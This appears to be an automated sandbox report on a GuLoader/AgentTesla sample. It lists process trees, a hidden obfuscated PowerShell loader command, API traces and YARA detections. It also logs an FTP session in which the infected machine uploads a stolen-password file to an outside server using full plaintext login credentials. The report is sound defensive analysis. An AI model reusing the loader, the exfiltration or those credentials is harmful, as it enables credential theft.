2024-10-03 08:51:39 UTC	8000	IN	Data Raw: 4b 79 cc 29 ca 27 d2 3b 75 7f 63 c6 64 83 9b 4b 57 2f ef 9a 6d e0 f1 be c6 82 d4 2a 6a d8 e3 16 d0 59 00 ad 50 05 7b 1e a4 17 c1 83 10 95 cc 95 d3 f3 98 ab f0 1f a6 25 42 1c 35 1e 64 b1 cb d0 57 54 5e 9f 0c aa ff 69 33 d0 1d 35 bb e9 c8 82 8c d8 7c 97 bd ff cf 97 03 91 1b 37 f2 8b 7e 2d d2 62 52 ba c4 4f e6 51 78 e5 7d cd 7f 48 b6 46 b2 9b 31 2c c3 f0 5e c2 a3 8a b5 4a f6 ce 9d f0 e7 24 75 b7 b7 7f 91 90 55 58 92 fc 2e 33 4e 50 70 9d 41 18 a6 c6 cc 8d 69 84 98 41 d0 11 c7 8b 83 6c 6c e0 d0 dd a9 61 7c 74 25 db 70 45 43 b2 3c f5 e0 42 a4 9b d5 b8 ac dc 61 73 d2 4d 0a fc dd b4 8f 31 e1 47 c3 a4 00 8d 57 86 d9 81 e2 b9 03 4b 7d 46 a5 e0 28 b2 e7 7e 90 63 ce 52 cb e8 99 19 c7 86 02 92 54 a6 98 ce a5 da 40 88 c1 27 64 54 a7 2b 42 3f fe c7 70 02 8e 9c e9 da da Data Ascii: Ky)';ucdKW/m*jYP{%B5dWT^i35\|7~-bROQx}HF1,^J$uUX.3NPpAiAlla\|t%pEC<BasM1GWK}F(~cRT@'dT+B?p
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: 5c d6 a2 5e e6 51 da 25 e9 10 8c 49 38 88 61 77 5f 56 75 ae 26 aa 2e 8a de d5 67 f7 c0 36 65 38 a4 a2 e4 bd 6e 5f 9c 5a b8 e2 2b f2 e4 b9 52 95 fb 83 e2 be 47 33 b4 52 d5 e4 65 45 10 88 df 17 7c ed ad af fa 4a 1e 52 04 c0 6c f6 0c bf 8b ae 3e ba be 13 89 bc 11 6c 1b 54 12 81 49 56 3f 91 f7 8b e0 4d 0a 1d 18 19 9a 73 6c d4 2d ad 8a ed a2 ef d5 5f 67 c4 4b 8d 9a 02 cb 07 d8 3b 49 72 9d c8 6b 7d 97 b5 5b de e1 a1 69 3d 95 b8 38 83 9e a5 6a d8 e9 16 d2 5b 00 73 5d 00 7b 71 72 06 dc 89 9e b3 ed 95 eb c5 ea e3 ef e1 db 11 58 34 9c 14 c6 9b 30 de 5e 54 5e 9d 0a aa 8d 13 14 df 6d 3d b2 e9 c8 88 5a c2 45 b2 b7 c6 d8 69 0f 95 e5 49 5c 94 80 51 a9 de 3f 3e 9f 6f 96 79 62 e5 55 38 11 e7 b0 b8 b6 60 3c 10 d7 d8 f0 c2 5d 8e 80 fc 09 cf 6e 22 f7 04 65 b7 49 72 73 91 92 Data Ascii: \^Q%I8aw_Vu&.g6e8n_Z+RG3ReE\|JRl>lTIV?Msl-_gK;Irk}[i=8j[s]{qrX40^T^m=ZEiI\Q?>oybU8`<]n"eIrs
2024-10-03 08:51:39 UTC	8000	IN	Data Raw: d5 f2 29 72 cb b0 ed a3 b0 2b 40 91 26 63 d9 3f 71 f9 d0 9f 65 7e cd f6 9f 1b 65 f9 db c7 81 cb 84 ac b3 3e 3a 29 fe 68 7e 17 a9 44 57 97 37 69 37 50 02 b8 8c 52 00 17 2a e6 4d e0 80 82 2b 42 3d ac 7c 53 02 6b ca 19 3b 6f cf e2 05 87 cf 46 ed f5 39 7c 5c 59 da fd d4 82 8a d0 7d cb 94 5c 31 3d 56 54 e9 6d 7a e6 94 f7 7e a0 fd c1 23 32 de fc 15 c5 5c 1c 5b a4 27 a4 cc 21 c5 91 f2 10 8a bd 1e 25 61 89 59 6b 69 50 2a ac d0 f4 d1 fa 99 8b a8 aa 16 ec 88 5c 9a 9c 74 77 ad 50 90 42 d5 fe eb d6 0b 99 f2 89 34 27 40 33 cc 8a f2 e6 15 93 06 8b df 72 86 49 ad a9 9f 3b 02 52 0e 3e 9c f0 0a 41 79 a3 39 c9 a0 34 a2 ba 9f 4a 0a 54 ec 87 6a fc 4d 3a d3 e4 37 22 65 16 e6 13 61 7f 08 e4 d3 a1 88 13 c1 98 d4 30 51 3a 47 8c c2 dc c6 0d d8 54 06 7e 9d ce 95 8f 90 b5 a5 2c e8 Data Ascii: )r+@&c?qe~e>:)h~DW7i7PRM+B=\|Sk;oF9\|\Y}\1=VTmz~#2\['!%aYkiP\twPB4'@3rI;R>Ay94JTjM:7"ea0Q:GT~,

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 3, 2024 10:51:42.436698914 CEST	21	49737	185.146.87.128	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 14 of 50 allowed.220-Local time is now 11:51. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Oct 3, 2024 10:51:42.436996937 CEST	49737	21	192.168.2.4	185.146.87.128	USER AdminFTP@rusticpensiune.ro
Oct 3, 2024 10:51:42.653009892 CEST	21	49737	185.146.87.128	192.168.2.4	331 User AdminFTP@rusticpensiune.ro OK. Password required
Oct 3, 2024 10:51:42.653280020 CEST	49737	21	192.168.2.4	185.146.87.128	PASS hr,d@KUwa5llI%RNL^J]g%8I;!;_Ne#G1h~lE!86DAAD6#iLm$x)r+e1z$p+_Q,4_(f!};B?vD!IG?NqT[zOHNr6_nww[S]V?MlcYSt_QO
Oct 3, 2024 10:51:42.915069103 CEST	21	49737	185.146.87.128	192.168.2.4	230 OK. Current restricted directory is /
Oct 3, 2024 10:51:43.133241892 CEST	21	49737	185.146.87.128	192.168.2.4	504 Unknown command
Oct 3, 2024 10:51:43.137435913 CEST	49737	21	192.168.2.4	185.146.87.128	PWD
Oct 3, 2024 10:51:43.353231907 CEST	21	49737	185.146.87.128	192.168.2.4	257 "/" is your current location
Oct 3, 2024 10:51:43.355113029 CEST	49737	21	192.168.2.4	185.146.87.128	TYPE I
Oct 3, 2024 10:51:43.571044922 CEST	21	49737	185.146.87.128	192.168.2.4	200 TYPE is now 8-bit binary
Oct 3, 2024 10:51:43.571270943 CEST	49737	21	192.168.2.4	185.146.87.128	PASV
Oct 3, 2024 10:51:43.831985950 CEST	21	49737	185.146.87.128	192.168.2.4	227 Entering Passive Mode (185,146,87,128,193,135)
Oct 3, 2024 10:51:43.838009119 CEST	49737	21	192.168.2.4	185.146.87.128	STOR PW_user-965969_2024_10_03_04_51_40.html
Oct 3, 2024 10:51:44.445097923 CEST	21	49737	185.146.87.128	192.168.2.4	150 Accepted data connection
Oct 3, 2024 10:51:44.662170887 CEST	21	49737	185.146.87.128	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.223 seconds (measured here), 1.40 Kbytes per second

Target ID:	0
Start time:	04:50:57
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\24100311.EXE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\24100311.EXE.exe"
Imagebase:	0x400000
File size:	1'029'176 bytes
MD5 hash:	36C593A2CEB2680510F2094CD6E4010D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:50:58
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"
Imagebase:	0xc30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.2049174087.000000000A206000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:50:58
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:51:34
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\msiexec.exe"
Imagebase:	0x7c0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	23.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	1396
Total number of Limit Nodes:	34

Executed Functions

Function 004035D8 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004035FB
GetVersion.KERNEL32 ref: 00403601
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403634
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 00403671
OleInitialize.OLE32(00000000), ref: 00403678
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 00403694
GetCommandLineW.KERNEL32(00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 004036A9
CharNextW.USER32(00000000,"C:\Users\user\Desktop\24100311.EXE.exe",00000020,"C:\Users\user\Desktop\24100311.EXE.exe",00000000,?,00000007,00000009,0000000B), ref: 004036E1

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040381B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 0040382C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403838
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 0040384C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403854
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403865
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040386D
DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 00403881

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

ExitProcess.KERNEL32(00000007,?,00000007,00000009,0000000B), ref: 00403947
CoUninitialize.COMBASE(00000007,?,00000007,00000009,0000000B), ref: 0040394C
ExitProcess.KERNEL32 ref: 0040396D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24100311.EXE.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 00403980
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24100311.EXE.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040398F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24100311.EXE.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 0040399A
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\24100311.EXE.exe",00000000,00000007,?,00000007,00000009,0000000B), ref: 004039A6
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004039C2
DeleteFileW.KERNEL32(00420F08,00420F08,?,-windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In,00000009,?,00000007,00000009,0000000B), ref: 00403A1C
CopyFileW.KERNEL32(00438800,00420F08,00000001,?,00000007,00000009,0000000B), ref: 00403A30
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000,?,00000007,00000009,0000000B), ref: 00403A5D
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA8
AdjustTokenPrivileges.ADVAPI32 ref: 00403ACB
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AF0
ExitProcess.KERNEL32 ref: 00403B13

Strings

1033, xrefs: 0040387C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403810, 00403815, 0040382B, 00403837, 00403846, 00403853, 0040385F, 00403867, 0040397D, 0040398E, 00403999, 004039A5, 004039B2, 004039C1, 00403A72
C:\Users\user\AppData\Local\Decentraliseringers\misdidived, xrefs: 004037FE, 0040391E, 004039C8, 004039D2
\Temp, xrefs: 00403832
"C:\Users\user\Desktop\24100311.EXE.exe", xrefs: 004036AF, 004036B5, 004038A9
-windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In, xrefs: 004039E0
C:\Users\user\Desktop, xrefs: 0040399F, 004039A4, 004039D1
Error launching installer, xrefs: 00403903
TEMP, xrefs: 00403860
Low, xrefs: 0040384E
UXTHEME, xrefs: 00403628, 0040362D, 00403633
NSIS Error, xrefs: 0040369A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004035EF
SeShutdownPrivilege, xrefs: 00403AA2
C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing, xrefs: 00403929
.tmp, xrefs: 00403994
~nsu, xrefs: 00403978
TMP, xrefs: 00403868

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\24100311.EXE.exe"$-windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In$.tmp$1033$C:\Users\user\AppData\Local\Decentraliseringers\misdidived$C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 424501083-1976314492
Opcode ID: c35fdabfdad6bcc02558c5415dd16115c9247aea4d1f4ea4c566b72f04f2166e
Instruction ID: 2d933c795242ec911d1e8c81cb1b116df6d8be9c0bdf84dd3ae94b8088f318b1
Opcode Fuzzy Hash: c35fdabfdad6bcc02558c5415dd16115c9247aea4d1f4ea4c566b72f04f2166e
Instruction Fuzzy Hash: 7CD1F6B1200310AAD720BF759D49B2B3AADEB40709F51443FF881B62D1DB7D8956C76E

Function 004056E3 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405741
GetDlgItem.USER32(?,000003EE), ref: 00405750
GetClientRect.USER32(?,?), ref: 0040578D
GetSystemMetrics.USER32(00000002), ref: 00405794
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E7
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057FA
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040581C
ShowWindow.USER32(?,00000008), ref: 00405830
GetDlgItem.USER32(?,000003EC), ref: 00405851
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405861
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040587A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405886
GetDlgItem.USER32(?,000003F8), ref: 0040575F

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

GetDlgItem.USER32(?,000003EC), ref: 004058A3
CreateThread.KERNELBASE(00000000,00000000,Function_00005677,00000000), ref: 004058B1
CloseHandle.KERNELBASE(00000000), ref: 004058B8
ShowWindow.USER32(00000000), ref: 004058DC
ShowWindow.USER32(?,00000008), ref: 004058E1
ShowWindow.USER32(00000008), ref: 0040592B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595F
CreatePopupMenu.USER32 ref: 00405970
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405984
GetWindowRect.USER32(?,?), ref: 004059A4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059BD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F5
OpenClipboard.USER32(00000000), ref: 00405A05
EmptyClipboard.USER32 ref: 00405A0B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A17
GlobalLock.KERNEL32(00000000), ref: 00405A21
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A35
GlobalUnlock.KERNEL32(00000000), ref: 00405A55
SetClipboardData.USER32(0000000D,00000000), ref: 00405A60
CloseClipboard.USER32 ref: 00405A66

Strings

H7B, xrefs: 004059D1
{, xrefs: 00405949

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: c0017decbe78a65f06690748f72a161ce53dba5701f2afa5c1723caa79f33480
Instruction ID: babe9631ed489b332455c35fc9929fd6d80e8fe82f7b5f1866f1dd344d2d825a
Opcode Fuzzy Hash: c0017decbe78a65f06690748f72a161ce53dba5701f2afa5c1723caa79f33480
Instruction Fuzzy Hash: C9B159B1900608FFDF11AFA0DD85AAE7B79FB48354F00847AFA41A61A0CB754E51DF68

Function 00406C5B Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5fc7cef62123189b146ae20f9b137f8dd1da47d9d14d17752a01c0449262ee
Instruction ID: b5fdc14d1eddcf89792e2e646b4c6bd06a53190dca3d1b375e16d2eed6ded591
Opcode Fuzzy Hash: 4c5fc7cef62123189b146ae20f9b137f8dd1da47d9d14d17752a01c0449262ee
Instruction Fuzzy Hash: 78F16970D04229CBDF28CFA8C8946ADBBB1FF44305F15816ED856BB281D7386A86DF45

Function 004021A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Strings

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing, xrefs: 00402261

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing
API String ID: 542301482-208476317
Opcode ID: b25282a8798a2ff3bd7ff6f31452890546f4edcfc94c4a7aadb2cb05dee97700
Instruction ID: 3a0b8fa6945436ea0e4cb0e043321d643ed21fd69d70badd8d93d2b131f18866
Opcode Fuzzy Hash: b25282a8798a2ff3bd7ff6f31452890546f4edcfc94c4a7aadb2cb05dee97700
Instruction Fuzzy Hash: C9412775A00209AFCF00DFE4C989A9E7BB6FF48304B20457AF915EB2D1DB799981CB54

Function 0040689A Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(74DF3420,00426798,00425F50,00405F62,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0), ref: 004068A5
FindClose.KERNEL32(00000000), ref: 004068B1

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
